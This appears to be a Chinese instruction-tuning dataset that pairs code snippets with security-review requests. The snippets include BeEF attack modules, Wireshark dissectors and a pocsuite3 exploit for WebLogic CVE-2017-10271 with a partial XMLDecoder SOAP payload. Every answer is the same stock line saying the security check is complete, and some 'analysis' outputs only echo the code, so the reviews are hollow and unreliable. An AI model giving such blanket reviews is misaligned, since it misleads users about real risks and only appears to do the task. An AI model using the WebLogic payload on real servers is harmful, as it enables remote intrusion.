# See the file 'doc/COPYING' for copying permission
#
class Physical_location < BeEF::Core::Command
  def post_execute
    content = {}
    content['Geolocation Enabled'] = @datastore['geoLocEnabled']
    content['Latitude'] = @datastore['latitude']
    content['Longitude'] = @datastore['longitude']
    content['OSM address'] = @datastore['osm']
    save content
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Physical_location < BeEF::Core::Command
  def post_execute
    content = {}
    content['Geolocation Enabled'] = @datastore['geoLocEnabled']
    content['Latitude'] = @datastore['latitude']
    content['Longitude'] = @datastore['longitude']
    content['OSM address'] = @datastore['osm']
    save content
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-clnp.c
 * Routines for ISO/OSI network protocol packet disassembly
 *
 * Laurent Deniel <laurent.deniel@free.fr>
 * Ralf Schneider <Ralf.Schneider@t-online.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/reassemble.h>
#include <epan/expert.h>
#include <epan/nlpid.h>

#include "packet-osi.h"
#include "packet-osi-options.h"

void proto_register_clnp(void);
void proto_reg_handoff_clnp(void);

/* protocols and fields */

static int  proto_clnp         = -1;
static gint ett_clnp           = -1;
static gint ett_clnp_type      = -1;
static gint ett_clnp_segments  = -1;
static gint ett_clnp_segment   = -1;
static gint ett_clnp_disc_pdu  = -1;

static int hf_clnp_id          = -1;
static int hf_clnp_length      = -1;
static int hf_clnp_version     = -1;
static int hf_clnp_ttl         = -1;
static int hf_clnp_type        = -1;
static int hf_clnp_cnf_segmentation         = -1;
static int hf_clnp_cnf_more_segments        = -1;
static int hf_clnp_cnf_report_error         = -1;
static int hf_clnp_cnf_type    = -1;
static int hf_clnp_pdu_length  = -1;
static int hf_clnp_data_unit_identifier     = -1;
static int hf_clnp_segment_offset           = -1;
static int hf_clnp_total_length             = -1;
static int hf_clnp_checksum    = -1;
static int hf_clnp_checksum_status          = -1;
static int hf_clnp_dest_length = -1;
static int hf_clnp_dest        = -1;
static int hf_clnp_src_length  = -1;
static int hf_clnp_src         = -1;
       int hf_clnp_atntt       = -1; /* as referenced in packet-osi-options.c */
       int hf_clnp_atnsc       = -1; /* as referenced in packet-osi-options.c */
static int hf_clnp_segments    = -1;
static int hf_clnp_segment     = -1;
static int hf_clnp_segment_overlap          = -1;
static int hf_clnp_segment_overlap_conflict = -1;
static...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-clnp.c
 * Routines for ISO/OSI network protocol packet disassembly
 *
 * Laurent Deniel <laurent.deniel@free.fr>
 * Ralf Schneider <Ralf.Schneider@t-online.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/reassemble.h>
#include <epan/expert.h>
#include <epan/nlpid.h>

#include "packet-osi.h"
#include "packet-osi-options.h"

void proto_register_clnp(void);
void proto_reg_handoff_clnp(void);

/* protocols and fields */

static int  proto_clnp         = -1;
static gint ett_clnp           = -1;
static gint ett_clnp_type      = -1;
static gint ett_clnp_segments  = -1;
static gint ett_clnp_segment   = -1;
static gint ett_clnp_disc_pdu  = -1;

static int hf_clnp_id          = -1;
static int hf_clnp_length      = -1;
static int hf_clnp_version     = -1;
static int hf_clnp_ttl         = -1;
static int hf_clnp_type        = -1;
static int hf_clnp_cnf_segmentation         = -1;
static int hf_clnp_cnf_more_segments        = -1;
static int hf_clnp_cnf_report_error         = -1;
static int hf_clnp_cnf_type    = -1;
static int hf_clnp_pdu_length  = -1;
static int hf_clnp_data_unit_identifier     = -1;
static int hf_clnp_segment_offset           = -1;
static int hf_clnp_total_length             = -1;
static int hf_clnp_checksum    = -1;
static int hf_clnp_checksum_status          = -1;
static int hf_clnp_dest_length = -1;
static int hf_clnp_dest        = -1;
static int hf_clnp_src_length  = -1;
static int hf_clnp_src         = -1;
       int hf_clnp_atntt       = -1; /* as referenced in packet-osi-options.c */
       int hf_clnp_atnsc       = -1; /* as referenced in packet-osi-options.c */
static int hf_clnp_segments    = -1;
static int hf_clnp_segment     = -1;
static int hf_clnp_segment_overlap          = -1;
static int hf_clnp_segment_overlap_conflict = -1;
static...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-h450-ros.c
 * Routines for H.450 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <epan/expert.h>

#include "packet-per.h"
#include "packet-h450-ros.h"

#define PNAME  "H.450 Remote Operations Apdus"
#define PSNAME "H450.ROS"
#define PFNAME "h450.ros"

void proto_register_h450_ros(void);
void proto_reg_handoff_h450_ros(void);

/* Initialize the protocol and registered fields */
static int proto_h450_ros = -1;
#include "packet-h450-ros-hf.c"

/* Initialize the subtree pointers */
#include "packet-h450-ros-ett.c"

static expert_field ei_ros_undecoded = EI_INIT;

/* Preferences */

/* Subdissectors */
static dissector_handle_t data_handle = NULL;

/* Global variables */
static gint32 problem_val;
static gchar problem_str[64];
static tvbuff_t *arg_next_tvb, *res_next_tvb, *err_next_tvb;

static int
argument_cb(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void* data _U_) {
  arg_next_tvb = tvb;
  return tvb_captured_length(tvb);
}

static int
result_cb(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void* data _U_) {
  res_next_tvb = tvb;
  return tvb_captured_length(tvb);
}

static int
error_cb(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void* data _U_) {
  err_next_tvb = tvb;
  return tvb_captured_length(tvb);
}

#include "packet-h450-ros-fn.c"

/*--- proto_register_h450_ros -----------------------------------------------*/
void proto_register_h450_ros(void) {

  /* List of fields */
  static hf_register_info hf[] = {
#include "packet-h450-ros-hfarr.c"
  };

  /* List of subtrees */
  static gint *ett[] = {
#include "packet-h450-ros-ettarr.c"
  };

  static ei_register_info ei[] = {
     { &ei_ros_undecoded, { "h450.ros.undecoded", PI_UNDECODED, PI_WARN, ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-h450-ros.c
 * Routines for H.450 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <epan/expert.h>

#include "packet-per.h"
#include "packet-h450-ros.h"

#define PNAME  "H.450 Remote Operations Apdus"
#define PSNAME "H450.ROS"
#define PFNAME "h450.ros"

void proto_register_h450_ros(void);
void proto_reg_handoff_h450_ros(void);

/* Initialize the protocol and registered fields */
static int proto_h450_ros = -1;
#include "packet-h450-ros-hf.c"

/* Initialize the subtree pointers */
#include "packet-h450-ros-ett.c"

static expert_field ei_ros_undecoded = EI_INIT;

/* Preferences */

/* Subdissectors */
static dissector_handle_t data_handle = NULL;

/* Global variables */
static gint32 problem_val;
static gchar problem_str[64];
static tvbuff_t *arg_next_tvb, *res_next_tvb, *err_next_tvb;

static int
argument_cb(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void* data _U_) {
  arg_next_tvb = tvb;
  return tvb_captured_length(tvb);
}

static int
result_cb(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void* data _U_) {
  res_next_tvb = tvb;
  return tvb_captured_length(tvb);
}

static int
error_cb(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void* data _U_) {
  err_next_tvb = tvb;
  return tvb_captured_length(tvb);
}

#include "packet-h450-ros-fn.c"

/*--- proto_register_h450_ros -----------------------------------------------*/
void proto_register_h450_ros(void) {

  /* List of fields */
  static hf_register_info hf[] = {
#include "packet-h450-ros-hfarr.c"
  };

  /* List of subtrees */
  static gint *ett[] = {
#include "packet-h450-ros-ettarr.c"
  };

  static ei_register_info ei[] = {
     { &ei_ros_undecoded, { "h450.ros.undecoded", PI_UNDECODED, PI_WARN, ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-btmesh-beacon.c
 * Routines for Bluetooth mesh PB-ADV dissection
 *
 * Copyright 2019, Piotr Winiarczyk <wino45@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref: Mesh Profile v1.0
 * https://www.bluetooth.com/specifications/mesh-specifications
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>

#include "packet-btmesh.h"

#define BEACON_UNPROVISION 0x00
#define BEACON_SECURE      0x01

void proto_register_btmesh_beacon(void);

static int proto_btmesh_beacon = -1;

static int hf_btmesh_beacon_type = -1;
static int hf_btmesh_beacon_uuid = -1;
static int hf_btmesh_beacon_oob = -1;
static int hf_btmesh_beacon_oob_other = -1;
static int hf_btmesh_beacon_oob_electronic = -1;
static int hf_btmesh_beacon_oob_2d_code = -1;
static int hf_btmesh_beacon_oob_bar_code = -1;
static int hf_btmesh_beacon_oob_nfc= -1;
static int hf_btmesh_beacon_oob_number = -1;
static int hf_btmesh_beacon_oob_string = -1;
static int hf_btmesh_beacon_oob_rfu = -1;
static int hf_btmesh_beacon_oob_on_box = -1;
static int hf_btmesh_beacon_oob_inside_box = -1;
static int hf_btmesh_beacon_oob_on_paper = -1;
static int hf_btmesh_beacon_oob_inside_manual = -1;
static int hf_btmesh_beacon_oob_on_device = -1;
static int hf_btmesh_beacon_uri_hash = -1;
static int hf_btmesh_beacon_flags = -1;
static int hf_btmesh_beacon_flags_key_refresh = -1;
static int hf_btmesh_beacon_flags_iv_update = -1;
static int hf_btmesh_beacon_flags_rfu = -1;
static int hf_btmesh_beacon_network_id = -1;
static int hf_btmesh_beacon_ivindex = -1;
//TODO: check authentication value
static int hf_btmesh_beacon_authentication_value = -1;
static int hf_btmesh_beacon_unknown_data = -1;

static int ett_btmesh_beacon = -1;
static int ett_btmesh_beacon_oob = -1;
static int ett_btmesh_beacon_flags = -1;

static expert_field ei_btmesh_beacon_unknown_beaco...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-btmesh-beacon.c
 * Routines for Bluetooth mesh PB-ADV dissection
 *
 * Copyright 2019, Piotr Winiarczyk <wino45@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref: Mesh Profile v1.0
 * https://www.bluetooth.com/specifications/mesh-specifications
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>

#include "packet-btmesh.h"

#define BEACON_UNPROVISION 0x00
#define BEACON_SECURE      0x01

void proto_register_btmesh_beacon(void);

static int proto_btmesh_beacon = -1;

static int hf_btmesh_beacon_type = -1;
static int hf_btmesh_beacon_uuid = -1;
static int hf_btmesh_beacon_oob = -1;
static int hf_btmesh_beacon_oob_other = -1;
static int hf_btmesh_beacon_oob_electronic = -1;
static int hf_btmesh_beacon_oob_2d_code = -1;
static int hf_btmesh_beacon_oob_bar_code = -1;
static int hf_btmesh_beacon_oob_nfc= -1;
static int hf_btmesh_beacon_oob_number = -1;
static int hf_btmesh_beacon_oob_string = -1;
static int hf_btmesh_beacon_oob_rfu = -1;
static int hf_btmesh_beacon_oob_on_box = -1;
static int hf_btmesh_beacon_oob_inside_box = -1;
static int hf_btmesh_beacon_oob_on_paper = -1;
static int hf_btmesh_beacon_oob_inside_manual = -1;
static int hf_btmesh_beacon_oob_on_device = -1;
static int hf_btmesh_beacon_uri_hash = -1;
static int hf_btmesh_beacon_flags = -1;
static int hf_btmesh_beacon_flags_key_refresh = -1;
static int hf_btmesh_beacon_flags_iv_update = -1;
static int hf_btmesh_beacon_flags_rfu = -1;
static int hf_btmesh_beacon_network_id = -1;
static int hf_btmesh_beacon_ivindex = -1;
//TODO: check authentication value
static int hf_btmesh_beacon_authentication_value = -1;
static int hf_btmesh_beacon_unknown_data = -1;

static int ett_btmesh_beacon = -1;
static int ett_btmesh_beacon_oob = -1;
static int ett_btmesh_beacon_flags = -1;

static expert_field ei_btmesh_beacon_unknown_beaco...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-h283.c                                                              */
/* asn2wrs.py -L -p h283 -c ./h283.cnf -s ./packet-h283-template -D . -O ../.. LCT-PROTOCOL.asn */

/* packet-h283.c
 * Routines for H.283 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-per.h"

#define PNAME  "H.283 Logical Channel Transport"
#define PSNAME "LCT"
#define PFNAME "lct"

void proto_register_h283(void);
void proto_reg_handoff_h283(void);

/* Initialize the protocol and registered fields */
static int proto_h283 = -1;
static int hf_h283_LCTPDU_PDU = -1;               /* LCTPDU */
static int hf_h283_t35CountryCode = -1;           /* INTEGER_0_255 */
static int hf_h283_t35Extension = -1;             /* INTEGER_0_255 */
static int hf_h283_manufacturerCode = -1;         /* INTEGER_0_65535 */
static int hf_h283_object = -1;                   /* OBJECT_IDENTIFIER */
static int hf_h283_h221NonStandard = -1;          /* H221NonStandard */
static int hf_h283_nonStandardIdentifier = -1;    /* NonStandardIdentifier */
static int hf_h283_data = -1;                     /* OCTET_STRING */
static int hf_h283_srcAddr = -1;                  /* MTAddress */
static int hf_h283_dstAddr = -1;                  /* MTAddress */
static int hf_h283_timestamp = -1;                /* INTEGER_0_4294967295 */
static int hf_h283_seqNumber = -1;                /* INTEGER_0_65535 */
static int hf_h283_pduType = -1;                  /* T_pduType */
static int hf_h283_ack = -1;                      /* NULL */
static int hf_h283_rdcData = -1;                  /* RDCData */
static int ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-h283.c                                                              */
/* asn2wrs.py -L -p h283 -c ./h283.cnf -s ./packet-h283-template -D . -O ../.. LCT-PROTOCOL.asn */

/* packet-h283.c
 * Routines for H.283 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-per.h"

#define PNAME  "H.283 Logical Channel Transport"
#define PSNAME "LCT"
#define PFNAME "lct"

void proto_register_h283(void);
void proto_reg_handoff_h283(void);

/* Initialize the protocol and registered fields */
static int proto_h283 = -1;
static int hf_h283_LCTPDU_PDU = -1;               /* LCTPDU */
static int hf_h283_t35CountryCode = -1;           /* INTEGER_0_255 */
static int hf_h283_t35Extension = -1;             /* INTEGER_0_255 */
static int hf_h283_manufacturerCode = -1;         /* INTEGER_0_65535 */
static int hf_h283_object = -1;                   /* OBJECT_IDENTIFIER */
static int hf_h283_h221NonStandard = -1;          /* H221NonStandard */
static int hf_h283_nonStandardIdentifier = -1;    /* NonStandardIdentifier */
static int hf_h283_data = -1;                     /* OCTET_STRING */
static int hf_h283_srcAddr = -1;                  /* MTAddress */
static int hf_h283_dstAddr = -1;                  /* MTAddress */
static int hf_h283_timestamp = -1;                /* INTEGER_0_4294967295 */
static int hf_h283_seqNumber = -1;                /* INTEGER_0_65535 */
static int hf_h283_pduType = -1;                  /* T_pduType */
static int hf_h283_ack = -1;                      /* NULL */
static int hf_h283_rdcData = -1;                  /* RDCData */
static int ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Activex_command_execution < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'cmd', 'ui_label' => 'Command', 'type' => 'textarea', 'value' => 'cmd.exe /c "echo Hello from BeEF! & pause"', 'width' => '400px', 'height' => '50px' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Activex_command_execution < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'cmd', 'ui_label' => 'Command', 'type' => 'textarea', 'value' => 'cmd.exe /c "echo Hello from BeEF! & pause"', 'width' => '400px', 'height' => '50px' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

describe WPScan::Finders::DynamicFinder::Version::HeaderPattern do
  module WPScan
    module Finders
      module Version
        # Needed to be able to test the below
        module Rspec
        end
      end
    end
  end

  let(:finder_module) { WPScan::Finders::Version::Rspec }
  let(:finder_class)  { WPScan::Finders::Version::Rspec::HeaderPattern }
  let(:finder_config) { { 'header' => 'Location' } }
  let(:default)       { { 'confidence' => 60 } }

  before { described_class.create_child_class(finder_module, :HeaderPattern, finder_config) }
  after  { finder_module.send(:remove_const, :HeaderPattern) }

  describe '.create_child_class' do
    context 'when no PATH and CONFIDENCE' do
      it 'contains the expected constants to their default values' do
        # Doesn't work, dunno why
        # expect(finder_module.const_get(:HeaderPattern)).to be_a described_class
        # expect(finder_class.is_a?(described_class)).to eql true
        # expect(finder_class).to be_a described_class

        expect(finder_class::HEADER).to eql finder_config['header']

        expect(finder_class::PATTERN).to eql nil
        expect(finder_class::CONFIDENCE).to eql default['confidence']
        expect(finder_class::PATH).to eql nil
      end
    end

    context 'when CONFIDENCE' do
      let(:finder_config) { super().merge('confidence' => 50) }

      it 'contains the expected constants' do
        expect(finder_class::HEADER).to eql finder_config['header']
        expect(finder_class::CONFIDENCE).to eql finder_config['confidence']

        expect(finder_class::PATTERN).to eql nil
        expect(finder_class::PATH).to eql nil
      end
    end

    context 'when PATH' do
      let(:finder_config) { super().merge('path' => 'index.php') }

      it 'contains the expected constants' do
        expect(finder_class::HEADER).to eql finder_config['header']
        expect(finder_class::PATH).to eql finder_config['path']

        expect(finder_class::PA...


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::Finders::DynamicFinder::Version::HeaderPattern do
  module WPScan
    module Finders
      module Version
        # Needed to be able to test the below
        module Rspec
        end
      end
    end
  end

  let(:finder_module) { WPScan::Finders::Version::Rspec }
  let(:finder_class)  { WPScan::Finders::Version::Rspec::HeaderPattern }
  let(:finder_config) { { 'header' => 'Location' } }
  let(:default)       { { 'confidence' => 60 } }

  before { described_class.create_child_class(finder_module, :HeaderPattern, finder_config) }
  after  { finder_module.send(:remove_const, :HeaderPattern) }

  describe '.create_child_class' do
    context 'when no PATH and CONFIDENCE' do
      it 'contains the expected constants to their default values' do
        # Doesn't work, dunno why
        # expect(finder_module.const_get(:HeaderPattern)).to be_a described_class
        # expect(finder_class.is_a?(described_class)).to eql true
        # expect(finder_class).to be_a described_class

        expect(finder_class::HEADER).to eql finder_config['header']

        expect(finder_class::PATTERN).to eql nil
        expect(finder_class::CONFIDENCE).to eql default['confidence']
        expect(finder_class::PATH).to eql nil
      end
    end

    context 'when CONFIDENCE' do
      let(:finder_config) { super().merge('confidence' => 50) }

      it 'contains the expected constants' do
        expect(finder_class::HEADER).to eql finder_config['header']
        expect(finder_class::CONFIDENCE).to eql finder_config['confidence']

        expect(finder_class::PATTERN).to eql nil
        expect(finder_class::PATH).to eql nil
      end
    end

    context 'when PATH' do
      let(:finder_config) { super().merge('path' => 'index.php') }

      it 'contains the expected constants' do
        expect(finder_class::HEADER).to eql finder_config['header']
        expect(finder_class::PATH).to eql finder_config['path']

        expect(finder_class::PA...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
#          Simon Montagu
# Portions created by the Initial Developer are Copyright (C) 2005
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#   Shoshannah Forbes - original C code (?)
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# 255: Control characters that usually does not exist in any text
# 254: Carriage/Return
# 253: symbol (punctuation) that does not belong to word
# 252: 0 - 9

# Windows-1255 language model
# Character Mapping Table:
WIN1255_CHAR_TO_ORDER_MAP = (
255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85,  # 40
 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253,  # 50
253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49,  # 60
 66,1...


Instruction: 检查这段代码是否存在安全问题

Input:
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
#          Simon Montagu
# Portions created by the Initial Developer are Copyright (C) 2005
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#   Shoshannah Forbes - original C code (?)
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

# 255: Control characters that usually does not exist in any text
# 254: Carriage/Return
# 253: symbol (punctuation) that does not belong to word
# 252: 0 - 9

# Windows-1255 language model
# Character Mapping Table:
WIN1255_CHAR_TO_ORDER_MAP = (
255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255,  # 00
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,  # 10
253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,  # 20
252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253,  # 30
253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85,  # 40
 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253,  # 50
253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49,  # 60
 66,1...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
import random
import string
import time
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2017-10-23'
    createDate = '2017-12-22'
    updateDate = '2017-12-22'
    references = [
        'https://www.seebug.org/vuldb/ssvid-97009',
    ]
    name = 'Oracle WebLogic wls-wsat RCE(CVE-2017-10271)'
    appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
    appName = 'WebLogic'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。攻击者可利用该漏洞控制组件，影响数据的可用性、保密性和完整性。以下组版本受到影响：Oracle WebLogic Server 10.3.6.0.0版本，12.1.3.0.0版本，12.2.1.1.0版本，12.2.1.2.0版本。

    '''

    def _verify(self):
        flag = "".join(random.choice(string.ascii_letters)
                       for _ in range(0, 8))
        output_file = '{}.txt'.format(flag)
        '''
        payload的格式化
        '''
        def payload_command():
            command_filtered = "<string>{}</string>".format(flag)
            payload_1 = '''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
            <java version="1.6.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
            <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{}</string>
            <void method="println">{}</void><void method="close"/>
            </object>
...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
import random
import string
import time
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE

class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = 'hancool'
    vulDate = '2017-10-23'
    createDate = '2017-12-22'
    updateDate = '2017-12-22'
    references = [
        'https://www.seebug.org/vuldb/ssvid-97009',
    ]
    name = 'Oracle WebLogic wls-wsat RCE(CVE-2017-10271)'
    appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
    appName = 'WebLogic'
    appVersion = 'All'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
    Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。攻击者可利用该漏洞控制组件，影响数据的可用性、保密性和完整性。以下组版本受到影响：Oracle WebLogic Server 10.3.6.0.0版本，12.1.3.0.0版本，12.2.1.1.0版本，12.2.1.2.0版本。

    '''

    def _verify(self):
        flag = "".join(random.choice(string.ascii_letters)
                       for _ in range(0, 8))
        output_file = '{}.txt'.format(flag)
        '''
        payload的格式化
        '''
        def payload_command():
            command_filtered = "<string>{}</string>".format(flag)
            payload_1 = '''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
            <java version="1.6.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
            <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{}</string>
            <void method="println">{}</void><void method="close"/>
            </object>
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ansi_tcap-template.c
 * Routines for ANSI TCAP
 * Copyright 2007 Anders Broman <anders.broman@ericsson.com>
 * Built from the gsm-map dissector Copyright 2004 - 2005, Anders Broman <anders.broman@ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 * References: T1.114
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/oids.h>
#include <epan/asn1.h>
#include <epan/strutil.h>

#include "packet-ber.h"
#include "packet-tcap.h"
#include "packet-ansi_tcap.h"

